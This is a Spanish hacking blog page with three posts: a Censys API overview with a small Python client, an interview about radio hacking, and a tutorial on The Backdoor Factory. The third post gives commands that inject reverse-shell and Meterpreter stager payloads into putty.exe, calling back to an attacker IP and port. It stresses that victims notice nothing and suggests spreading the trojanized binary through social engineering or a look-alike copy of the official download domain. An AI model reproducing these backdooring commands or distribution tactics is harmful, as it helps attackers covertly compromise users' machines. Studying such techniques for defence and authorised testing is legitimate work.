Categorías
Hacking Networking Programacion Services - Software

Censys: Motor de búsqueda sobre dispositivos y servidores en Internet

Shodan es probablemente uno de los motores de búsqueda más utilizados por hackers (y curiosos) que quieren encontrar dispositivos y servidores en Internet que ejecutan servicios con características muy concretas, no en vano se le conoce como “el google de los hackers”. Es una herramienta muy valiosa que también permite acceder a sus funcionalidades de forma programática desde lenguajes de programación tales como Python, Perl o Ruby. En varias ocasiones se han mencionado sus virtudes en este blog y seguramente para muchos de vosotros nada de lo dicho anteriormente es algo nuevo, sin embargo cuando se menciona a “Censys”, actualmente son “pocas” las personas que conocen sus bondades. Del mismo modo que ocurre con Shodan, con Censys es posible realizar búsquedas muy concretas sobre dispositivos, servidores y redes que se encuentran en Internet, siendo un servicio muy similar y directa “competencia” de Shodan. El funcionamiento de Censys se basa en el uso de una herramienta que también es relativamente reciente y de la que ya se ha hablado anteriormente en este sitio, se trata de Zmap un escaner que permite ejecutar un escaneo completo contra el rango de direcciones IPv4 y que con los recursos de computo adecuados, permite el escaneo entero de Internet en un tiempo bastante razonable. Se trata sin lugar a dudas de una herramienta que merece la pena estudiar y comprender. Censys se encarga de ejecutar escaneos con Zmap diariamente y recolecta información sobre los servicios que se encuentran disponibles en las direcciones IP analizadas, que como se ha dicho anteriormente, comprenden el rango de direcciones IPv4 entero. El creador de Censys es el mismo de Zmap (Zakir Durumeric) y desde el primer paper público sobre el uso de Censys, en octubre de 2015, tanto él como John Matherly (Shodan) han defendido a capa y espada sus respectivos sistemas como es natural, exponiendo las virtudes del uno sobre el otro. Después de estudiar ambos, personalmente no me decanto por uno solo, todo lo contrario, prefiero utilizar ambos para obtener más información y poder comparar/complementar resultados. Del mismo modo que ocurre con Shodan, es posible utilizar una API basada en servicios Rest que pueden ser consultados fácilmente si se tiene una “Developer Key”, la cual se puede conseguir simplemente creando una cuenta gratuita en el servicio. Todos los días es posible acceder a un snapshot de los datos recolectados por el servicio, indicando la información disponible sobre direcciones, puertos, sitios web, certificados, etc. Por otro lado, la API está compuesta por los siguientes endpoints.

search Permite ejecutar búsquedas contra los índices más recientes que ha recolectado el sistema.
view Permite recuperar información sobre un host concreto, sitio web o certificado.
report Permite generar un reporte agrupado sobre un campo concreto en el conjunto de resultados.
query Permite la ejecución de una consulta SQL contra la información actual e histórica que se ha ido registrando en el sistema y únicamente está disponible a investigadores verificados.
export Permite la exportación de un conjunto de registros en formato JSON
data Expone metadatos sobre la información en formato “crudo” que es recolectada diariamente por el sistema.

Como se puede apreciar, son muy pocos endpoints y no es una API tan completa como la que implementa Shodan, pero sigue siendo muy interesante por la información que aporta. En este punto es posible interactuar con Censys por medio de dichos endpoints de forma programática, para ello es necesario crear una cuenta en Censys y obtener los campos API ID y Secret, tal como se puede apreciar en la siguiente imagen.

censys1

A la fecha de redactar este documento no hay ningún tipo de cliente oficial para Censys, pero dado que se trata de un servicio que se expone por medio de una API Rest, es posible utilizar cualquiera de las librerías disponibles en lenguajes de programación como Python, Ruby, C o Java, para consumir dichos servicios Rest sin mayores dificultades. En este caso concreto y tal como se ha visto en varias ocasiones en este blog, se utilizará Python para crear un cliente básico que consuma algunos de los servicios disponibles en Censys.

[sourcecode language=»python»]
import sys
import json
import requests
API_URL = "https://www.censys.io/api/v1"
UID = "xxxxx"
SECRET = "zzzzz"
res = requests.get(API_URL + "/data", auth=(UID,
SECRET))
if res.status_code != 200:
print "error occurred: %s" % res.json()["error"]
sys.exit(1)
for name, series in res.json()["raw_series"].iteritems():
print series["name"], "was last updated at",
series["latest_result"]["timestamp"]
params = json={"query": "Apache",
"page":1}
res = requests.post(API_URL + "/search/certificates",
auth=(UID, SECRET), json=json)
print res.json()["results"][0].keys()
print res.json()["results"][0].values()
[/sourcecode]

Hay que tener en cuenta que de acuerdo a la documentación la API Rest de Censys, es necesario invocar a cada uno de los endpoints con un método HTTP concreto, una serie de parámetros obligatorios y que además, muchas de las peticiones reciben datos en formato JSON, con lo cual es necesario realizar las peticiones HTTP siguiendo estás especificaciones. El script anterior es simplemente un ejemplo sobre el uso de los endpoints “/data” y “/search/certificates”. Tal como se puede apreciar, es bastante sencillo crear un cliente y obtener información de Censys utilizando su API Rest.

De todos modos, desde mi punto de vista hay dos características que hacen que Shodan sea una buena opción con respecto a Censys, considerando nuevamente que a mi juicio es recomendable utilizar ambas.

1. La API de Shodan parece estar mejor documentada y ser más completa, además de que hay clientes en diferentes lenguajes, lo que facilita su integración en cualquier herramienta, esto a la fecha de redactar este documento, no se consigue con Censys.

2- Shodan cuenta con varios filtros que permiten afinar las búsquedas y a la fecha de redactar este articulo, son mucho más completos que los que se encuentran disponibles en la interfaz de búsqueda de Censys.

En contrapartida, Censys permite el acceso a la información histórica que se ha ido recolectado y no pone limitaciones sobre los tipos de servicios que se pueden consultar, algo que si hace Shodan.

Se trata simplemente de un servicio que podéis utilizar de forma complementaria a Shodan para la recolección de información, se perfila como una excelente herramienta para ejecutar procesos OSINT y análisis de datos.

Un saludo y Happy Hack!
Adastra.

Categorías
Hacking Networking

Entrevista a David Marugán (@RadioHacking)

David Marugán (@RadioHacking) es una persona que resalta por sus amplios conocimientos en radiofrecuencias y trayectoria en dicho campo. Ha sido ponente en eventos de seguridad informática, es uno de los colaboradores del programa de televisión «Mundo Hacker» y ha colaborado en la redacción de los libros «HACKING PRÁCTICO DE REDES WIFI Y RADIOFRECUENCIA» y «HACKING CON INGENIERÍA SOCIAL. TÉCNICAS PARA HACKEAR HUMANOS» ambos publicados por la editorial RA-MA.
Aquellos que le conocéis seguramente habréis podido notar que se trata de una persona sencilla y amable, uno de los mayores expertos en su área que conozco, con una personalidad carismática que explica y comparte sus conocimientos a todo el que quiera aprender. En esta entrada he querido hacer una pequeña entrevista a David para que nos cuente un poco sus motivaciones y su perspectiva sobre el apasionante mundo de las radiofrecuencias.

Adastra:
Tengo entendido que llevas muchos años como radioaficionado, ¿cómo ha surgido tu interés por el mundo de las radiofrecuencias?

David:
Cuando era niño, con unos nueve años, me di cuenta por casualidad que haciendo una pequeña modificación en un radiocasette Sanyo escuchaba «algo» extraño al comienzo del díal de la radio, algo que no tenía nada que ver con la FM comercial, después de un tiempo escuchando me percaté de que era la policía de Madrid. Aquello me fascinó y comencé a observar cómo eran las emisoras y antenas de la policía, taxis, ambulancias, camiones, etc. hasta que averigué que existían unas emisoras de radioaficionado que permitían incluso hablar con otros paises.»Engañé» a mi padre para que me comprara un equipo de segunda mano muy básico con una antena de coche instalada en la barandilla de la terraza. Al poco tiempo hacía contactos internacionales a veces repitiendo frases en inglés que escuchaba a otros «de oído» sin saber muy bien que querían decir. Han pasado 30 años de aquello y me fascina igual que antes, apenas sé nada todavía.

Adastra:
¿Cómo consigues mantener la motivación y el interés por lo que haces? ¿consideras que hay algún «truco» especial, tienes algún consejo para las personas interesadas en convertise en radioaficionados?

David:
Mi consejo es que comiencen desde lo más básico. Conozco personas capaces de decodificar radio digital TETRA y no sabrían sintonizar una simple emisora de Onda Corta con un receptor analógico. Aunque obviamente hay ciertas emisiones digitales muy interesantes (y cada vez más), es importante comenzar comprendiendo lo más básico, saber cómo funcionan las cosas para poder sacar a la radio todo el provecho posible y no estar luego perdido y quizás perder la motivación. Animo a las personas interesadas a que pregunten a radioaficionados con cierta experiencia que estarán encantados de ayudarles con los primeros pasos y por supuesto a buscar información en Internet, algo que muchos no tuvimos y que supone una gran ventaja en esta época. Luego el límite lo pones tú.

Adastra:
En tu experiencia, ¿qué dispositivos y herramientas recomendarías a una persona que quiere adentrarse en el complejo mundo del radiohacking?

David:
Siempre recomendaría comenzar con algún equipo analógico, por ejemplo un receptor no muy avanzado, buscar en internet frecuencias que puedan interesarnos y sobre todo «escuchar» mucho para ir aprendiendo. Una buena forma es usar un receptor como el SDR on-line de la Universidad de Twente que cubre toda la Onda Corta sin gastarnos nada de momento y así ver qué nos interesa en realidad. Por supuesto es imprescindible un SDR low-cost para poder monitorizar frecuencias más altas y comenzar a ver señales en nuestro ordenador de forma muy asequible. Después, si la experiencia nos ha gustado, cosa muy probable, vendrán otro tipo de dispositivos SDR más avanzados, software de análisis de señales, analizadores de espectro, antenas específicas, etc. Hay magníficos tutoriales, libros y foros para comenzar en esto de forma muy sencilla.

Adastra:
Actualmente cuando se habla de «delitos informáticos», casi siempre se hace alusión a ciberdelincuentes que actúan en Internet. ¿Crees que las radiofrecuencias en los tiempos que corren pueden ser aprovechadas por los delincuentes para realizar actividades ilegales? ¿De qué forma lo harían?

David:
En ocasiones digo que solemos mirar siempre hacia Internet y que quizás se está dejando de lado un terreno enorme y complejo como la radio, que además está presente en todo tipo de comunicaciones críticas de nuestra vida diaria. Por poner un ejemplo que se comprenda, imaginemos una empresa de seguridad que custodia una infraestructura crítica. Es posible que cuide su seguridad informática y siga todas las recomendaciones al respecto, haga auditorias y use medidas de seguridad típicas en sus redes, y que por otro lado los agentes que vigilan estas instalaciones estén usando una red de radio digital sin cifrado, dando información muy importante de sus procedimientos de trabajo y movimientos en el terreno. Esto es más común de lo que parece e incluso ocurre en ciertos cuerpos policiales que además transmiten información muy sensible sobre personas, vehículos, etc. ¿Por qué este desequilibrio cuando hablamos de seguridad? En los tiempos que corren, con las amenazas a las que nos enfrentamos cada día, esto debería corregirse por las autoridades competentes sin más dilación.
Otro caso sería la posible utilización de comunicaciones radio en el ámbito de la delincuencia o el terrorismo. Por ejemplo el DAESH utiliza equipos de alta gama de la marca Hytera y transmiten en DMR cifrado para evitar las técnicas COMINT por parte de sus enemigos, ellos sí se cuidan mucho de la seguridad en sus comunicaciones. Todavía hoy servicios de inteligencia de todo el mundo usan las denominadas Estaciones de Números para mandar comunicados cifrados con el método OTP a sus agentes a miles de kilómetros. Existen métodos de comunicación radio de muy difícil control, que no pasan por ninguna pasarela de terceros, como sí ocurre en Internet o GSM y que con medios asequibles podrían mantener comunicaciones a larga distancia de forma cifrada ¿Si el sistema de las estaciones de números se aplicara para comunicaciones entre células terroristas? ¿cuánto tiempo tardaríamos en detectarlas? ¿seríamos realmente capaces de hacerlo? En el próximo Mundo Hacker Day hablaré, entre otras cosas, sobre la relación de las comunicaciones radio y el mundo del crimen organizado. Aprovecho para llamar la atención sobre el hecho de que no solo hemos de mirar a Internet o a las comunicaciones móviles cuando buscamos canales de comunicación ocultos. A lo mejor debemos mirar un poco más hacia «arriba».

Adastra:
Me has contado que sueles hacer «excursiones» sobre el espectro radioeléctrico y que en ocasiones te has encontrado con cosas extrañas las cuales suelen ser comentadas entre radioaficionados. En tu experiencia, ¿cuáles han sido las cosas más extrañas/curiosas que te has encontrado?

David:
El espectro radioeléctrico es enorme: emisiones militares, radares OTH, señales no identificadas o de tipo «propietario», emisiones clandestinas, estaciones de números, jammers que sabotean otras emisiones por motivos de censura, etc, etc. Suelo decir como analogía que el espectro radioeléctrico es un ecosistema con una fauna y flora realmente diversa, y a veces muy extraña. Lo más curioso que me he encontrado es el caso que ahora estoy siguiendo sobre el uso ilegal de un satélite militar norteamericano para mandar fotos «familiares» a medio mundo.
La que quizás más me ha impactado a nivel personal, hace ya más de veinte años, tiene que ver con un conflicto armado brutal y todavía hoy me emociona recordar el contenido de las emisiones. No puedo dar muchos más detalles por respeto a las personas implicadas, pero es muy posible que después de éstas emisiones fallecieran, y además sé que lo hicieron para proteger a otras personas indefensas; incluso pude escuchar de forma lejana el tableteo las ametralladoras y después de los comunicados un largo silencio. Fue realmente estremecedor.

Adastra:
En uno de tus articulos para SecurityArtWork titulado «Creepy images«, has mencionado que las imágenes transmitidas por radio pueden contener mensajes ocultos utilizando técnicas de esteganografía. ¿Has encontrado algo al respecto en esas imágenes?

David:
Yo no he sido capaz de encontrar nada, pero el concepto de estego en radio es muy diferente al informático debido a la forma de transmitir información y aunque podría ocurrir, no creo que estemos en ese caso. En este tema lo que más curiosidad me despierta es saber el motivo que lleva a alguien a mandar estas imágenes ilegalmente por un satélite militar, los detalles técnicos del procedimiento usado para transmitir en realidad están muy claros, localizar la emisión es bastante más complicado, aquí no existen IPs o «huellas digitales» de ningún tipo.

Adastra:
Para ser un radioaficionado, tengo entendido que es necesario obtener una autorización, la cual se consigue presentando un examen y una vez aprobado, te entregan tu carnet. ¿Cómo es dicho examen? ¿es completamente teórico o incluye también una parte practica? ¿Hay puntuaciones?

David:
Hace años eran más complicados, teniendo incluso en algunos casos pruebas prácticas de código Morse y diferentes tipos de licencia según la banda de frecuencias a usar. Hoy se han simplificado en una autorización única que nos abre todo un mundo para experimentar en radio. Se trata de un examen teórico que se compone de dos pruebas: la primera, conocimientos de electricidad y radio, la segunda trata sobre conocimientos normativos. El número de preguntas de cada prueba es de 30, se realizan en el mismo día y para superar cada una de ellas basta con tener 15 correctas. La duración máxima del examen es de 90 minutos. Se trata de una prueba sencilla si se estudia y realizan los test de práctica. Yo recomiendo informarse en la web de la U.R.E, la Unión de Radioaficionados Españoles, donde se puede encontrar todo el material necesario e información sobre los trámites para solicitar el examen y después la autorización.

Adastra:
¿Es obligatorio tener un carnet de radioaficionado para realizar pruebas en tu casa, por ejemplo?

David:
Es obligatorio tener autorización y un indicativo legal único para poder transmitir en bandas que requieren de esta autorización. Para recibir no es necesario tener una licencia, tampoco es necesario para bandas libres o no licenciadas, cumpliendo ciertos requisitos a la hora de transmitir. Pero yo recomiendo, por las posibilidades que nos brinda, realizar el esfuerzo y sacar la autorización a través del examen, merece mucho la pena. No tener esta autorización nos reduce muchísimo nuestro campo de investigación.

Adastra:
Desde el desconocimiento y vaya por delante mi ignorancia sobre estás cuestiones, ¿existe alguna forma de «mezclar» el mundo de redes como Internet con la información que puede existir en el espectro radioeléctrico? ¿es posible implementar una especie de «puente» que permita el intercambio de información?

David:
Claro que sí, de hecho hoy los radioaficionados usamos terminales analógicos y software específico para usar sistemas de voz sobre IP como el denominado Echolink, que permite que a través de un pequeño terminal portátil o walkie de muy bajo coste podamos conversar con personas incluso en el otro lado del mundo, o por ejemplo el sistema digital de radio denominado DMR, un sistema de mayor complejidad y prestaciones superiores, que haciendo una analogía muy facilona, tiene ciertas similitudes con el GSM pero sin pasar por un operador y sin usar cifrado (no porque no se pueda, sino porque está prohibido usar cifrado por parte de radioaficionados, ya que se supone que uno de sus fines es el de la experimentación y divulgación). Fíjate Daniel, tú que eres todo un referente cuando se habla de la Deepweb, que hasta existe un Internet exclusivo para radioaficionados con autorización a nivel mundial. El bloque de direcciones IP 44.0.0.0/8 está reservado desde los 80 para radioaficionados. Invito a los lectores a que busquen información sobre AMPRNET (Amateur Packet Radio Network) y sus posibilidades actuales, seguro que les sorprenderá si no la conocen. Hoy radio e Internet están totalmente relacionados.

Adastra:
En tu opinión ¿Qué relación existe entre el mundo del hacking y la radio?

David:
El hacking y la radio han estado siempre unidos de forma muy estrecha, de hecho se dice que la primeras comunidades de base tecnológica para compartir conocimientos y mejorar los sistemas fue la de los radioaficionados. Recordemos que ya Marconi en 1901 fue víctima de un troleo o ataque en una demo de Morse para demostrarle que su sistema no era tan seguro como presumía. Quizás ahí comenzó la historia del hacking. Después, muchas personas relacionadas con el hacking han sido radioaficionados, por poner un ejemplo citaremos a Clifford Stoll, el autor del famoso libro «El huevo del cuco», que es radioaficionado y usa el indicativo K7TA. A día de hoy famosos hackers que todos conocemos investigan sobre seguridad en radio, SDR, etc. y cada vez se ve más en las conferencias de seguridad, parece que ahora la radio se ha vuelto a poner de moda gracias a los SDR low-cost… ¡Yo encantado!
Otra importante función de la radio y los radioaficionados es la evasión de sistemas de censura, como por ejemplo en el contexto de la denominada Primavera Árabe, donde muchos radioaficionados se pusieron al servicio de la libertad de expresión y ayudaron a sacar las noticias de ciertos países donde Internet había sido «cortado» en su totalidad por parte del gobierno y sus operadores de telecomunicaciones. Algunos medios de prensa occidentales fueron informados a través de estos radioaficionados de lo que ocurría en las revueltas. Aunque no soy nada conspiranoico, por desgracia muchos gobiernos están cerrando sus emisoras de Onda Corta, y se tiende a que toda comunicación considerada «moderna» pase por un «canuto» muy controlado: Internet, GSM, redes sociales, etc. ¿Existen gobiernos a los que la radio les resulta incómoda? Desde luego que sí, e invierten mucho en sabotear algunas emisiones. Para mi la radio siempre ha sido sinónimo de libertad, experimentación y conocimiento compartido.

Ha sido un placer poder entrevistar a David y conocer un poco más en profundidad el interesante mundo del radio y sus aplicaciones practicas. Os invito a seguirle en su cuenta de twitter @RadioHacking y comprar sus libros, los cuales se encuentran disponibles en la web de RA-MA.
Finalmente, desde aquí expreso mi respeto y agradecimiento a David no solamente por los conocimientos que dispone, sino también por su actitud a la hora de compartir lo que sabe y estar dispuesto a colaborar con las personas que tienen menos conocimientos y experiencia que él.
Espero que os haya gustado la entrevista y que os «pique» un poco la curiosidad por aprender sobre estos temas.

Un saludo y happy hack!
Adastra.

Categorías
Explotación de Software Hacking MetaSploit Programacion Services - Software

Inyección de código arbitrario en ejecutables con The Backdoor Factory

La técnica conocida como “code caving” consiste simplemente en buscar y encontrar un espacio en un fichero ejecutable que permita la inyección de rutinas externas (típicamente shellcodes). Los ficheros ejecutables están compuestos por varias secciones, cada una de las cuales tiene una estructura y funcionamiento especifico. Si por algún motivo, alguna de dichas secciones o incluso el programa entero tienen un tamaño reservado que es superior al que efectivamente utilizan, queda abierta la posibilidad de inyectar subrutinas externas en dichos espacios que están sin utilizar. No solamente es posible modificar secciones existentes, sino que también es posible crear secciones nuevas dependiendo del fichero a modificar. El “code caving” tiene varias ventajas que saltan a la vista, una de ellas es que no es necesario contar con el código fuente del programa, solamente es necesario hacer los ajustes adecuados jugando un poco con los espacios libres que se van encontrando. Por otro lado, es un proceso en el que no se afecta el funcionamiento normal del ejecutable, de hecho, uno de las principales objetivos de aplicar esta técnica es que el programa ejecute el código inyectado como una subrutina cualquiera y continúe con la ejecución de las demás funciones con normalidad. Esto quiere decir que se pueden alterar ficheros ejecutables con el objetivo de inyectar código malicioso y posteriormente, dichos programas van a funcionar del mismo modo que funcionaria el programa original, que es justamente lo que espera ver el usuario.
Este procedimiento se puede llevar a cabo manualmente, utilizando herramientas como OllyDBG, LordPE (para ficheros PE) y algunas otras que permitirán encontrar la mejor forma de inyectar un shellcode, sin embargo en esta ocasión, se hablará sobre The Backdoor Factory, una herramienta que permite automatizar el proceso descrito anteriormente y modificar ficheros ejecutables al vuelo para inyectar shellcodes.

Usando The Backdoor Factory

Se trata de una herramienta que puede instalarse de forma manual desde el código fuente que se encuentra disponible en el repositorio github en: https://github.com/secretsquirrel/the-backdoor-factory y las instrucciones para instalar el programa se encuentran ubicadas en https://github.com/secretsquirrel/the-backdoor-factory/wiki/2.-Installation. El procedimiento de instalación no es complejo y únicamente requiere que las dependencias se encuentren correctamente instaladas, concretamente “pefile” y “capstone”. No obstante, BDF se encuentra disponible en las últimas versiones de Kali Linux, si utilizas la versión 2.x de Kali Linux, ya tendrás BDF instalado en el sistema.

El uso básico de esta herramienta es bastante simple, solamente es necesario indicar el fichero ejecutable que se desea “infectar” y a continuación seleccionar el payload adecuado. Algunos de los parámetros que recibe el script principal por línea de comandos se listan a continuación:

-f / –file: Permite especificar el binario que será analizado por la herramienta y que posteriormente será “backdoorizado”.

-H / –hostip: Dirección IP utilizada para recibir las conexiones reversas iniciadas por las víctimas.

-P / –port:Puerto utilizado para recibir las conexiones reversas iniciadas por las víctimas.

-a / –add_new_section: Como su nombre lo indica, permite crear una nueva sección el fichero ejecutable, la cual incluirá el shellcode seleccionado con la opción “-s”

-s / –shell: Payloads disponibles en BDF. Si se utiliza la palabra reservada “show”, se enseñarán los payloads disponibles.

-d / –directory: En lugar de especificar un único fichero ejecutable, se puede indicar un directorio en donde se encuentran todos los binarios que BDF analizará para posteriormente “backdoorizar”.

-i / –injector: En este modo, BDF intentará verificar si el fichero original es un servicio y en tal caso, intentará detenerlo, sustituir el ejecutable por la versión generada con el shellcode inyectado y renombrar el fichero original con un sufijo, el cual por defecto es “.old”. Se trata de un modo muy útil en procesos de post-explotación.

-u / –suffix: Sufijo que será utilizado por el modo “injector” para sustituir los ficheros ejecutables originales.

Las anteriores son solamente algunas de las posibles opciones que se pueden utilizar desde BDF y como se puede ver su uso puede ser tan simple como lo siguiente:

./backdoor.py -H 192.168.1.237 -P 4444 -s reverse_shell_tcp_inline -f putty.exe -q

En este caso se intenta “backdoorizar” el fichero “putty.exe”, un programa bastante popular entre los usuarios de sistemas Windows para conectarse a otros sistemas por medio de SSH, Telnet, Rlogin, etc. Se utilizará el payload “reverse_shell_tcp_inline”, un payload bastante simple que permite establecer una shell reversa desde el sistema de la víctima hacia un sistema controlado por el atacante. Con las opciones “-H” y “-P” se ha indicado la dirección IP y puerto en donde el atacante tendrá un proceso en estado de escucha, esperando las conexiones por parte de las víctimas. Dicho proceso puede ser tan simple como iniciar un “netcat” en el puerto “4444”.

BDF1Imagen 1: Generando un fichero malicioso con BDF partiendo del programa “putty”.

Después de generar el programa, lo siguiente es conseguir que el objetivo lo ejecute en su sistema y para ello, muy probablemente sea necesario emplear técnicas de ingeniería social, aunque también puede ser perfectamente valido adquirir un dominio muy similar al dominio original donde se distribuye el programa (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html) cambiando, por ejemplo, algunas de las letras del dominio e incluyendo exactamente el mismo contenido de las páginas HTML del sitio legitimo. De esta forma y haciendo una “difusión” del dominio malicioso se puede llegar a un número mucho más elevado de víctimas. Como siempre, todo depende de los objetivos del atacante y su creatividad.
En el caso de que la víctima descargue el fichero malicioso y lo ejecute en su ordenador, verá que no hay ningún tipo de alarma o actividad sospechosa que le haga creer que su ordenador ha sido comprometido debido a la ejecución del programa que acaba de descargar y ejecutar, simplemente verá el programa “putty” funcionando correctamente. Aunque el usuario podrá seguir utilizando el programa como lo hace habitualmente, el atacante ahora tendrá una consola contra su sistema y todo ha sido sigiloso y sin despertar ningún tipo de alarma o sospecha.

BDF2Imagen 2: Atacante interactuando con el sistema de la víctima.

Del mismo modo que es posible establecer un shellcode simple, también se puede establecer uno “staged”, algo que viene muy bien si se quiere recibir la conexión reversa de la víctima con Metasploit Framework. Para eso, en BDF hay varios payloads, resultando especialmente interesante el “iat_reverse_tcp_stager_threaded” el cual utilizará la “Import Address Table” para construir el espacio donde se almacenará el shellcode.

./backdoor.py -H 192.168.1.237 -P 4444 -s iat_reverse_tcp_stager_threaded -f putty.exe -q

Después de generar el fichero malicioso y de establecer el handler de Metasploit para aceptar conexiones por el puerto “4444”, el cliente debe ejecutar el programa y a continuación, se abrirá una nueva sesión “meterpreter” en la consola del atacante, como es habitual.

 BDF3Imagen 3: Obteniendo una sesión “meterpreter” partiendo de un ejecutable generado con BDF.

Aquí solamente se ha visto el uso básico de BDF, pero los conceptos sobre los que se encuentra construida suelen ser mucho más interesantes que simplemente ejecutar un script y obtener un ejecutable malicioso. Es probable que realizar este mismo procedimiento manualmente, sin la ayuda de herramientas como BDF sea mucho más ilustrativo para comprender conceptos tan importantes como las secciones de un ejecutable y las diferentes técnicas de “code caving” que se pueden aplicar utilizando únicamente, un programa para analizar la estructura de programas del tipo PE y un editor hexadecimal. Esto se hará en un próximo artículo.

Un saludo y Happy Hack!
Adastra.